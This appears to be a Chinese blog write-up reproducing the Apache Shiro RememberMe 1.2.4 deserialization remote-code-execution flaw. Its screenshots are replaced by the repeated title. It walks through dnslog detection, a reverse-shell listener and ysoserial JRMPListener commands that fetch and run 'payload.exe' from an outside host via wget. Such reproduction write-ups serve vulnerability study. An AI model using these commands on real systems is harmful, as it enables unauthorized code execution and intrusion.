Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

影响版本

Apache Shiro <= 1.2.4

默认shiro的commons-collections版本为3.2.1,
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

环境搭建

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

漏洞测试

  1. 抓包测试

查看返回包里setcookie有rememberme的字样
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
继续测试
首先最简单的测试方法是用dnslog,看看是否有回显。
利用**生成rememberMe

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

dns发现有回显,说明存在反序列化漏洞。

漏洞复现

1.监听回弹shell
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

2.生成key
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
3.使用ysoserial中JRMP监听模块,监听9920端口
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

4.重放Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

5.收到返回shell
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现

linux的复现相对简单,window由于没有命令直接返回shell,可以结合第三方工具返回shell。

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'wget x.x.x.x/payload.exe -O payload.exe'

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 './payload.exe'
ps:
1.windows 可以用这个,别忘了更改路径
2.网上git有漏洞扫描器:
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现
回显
Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现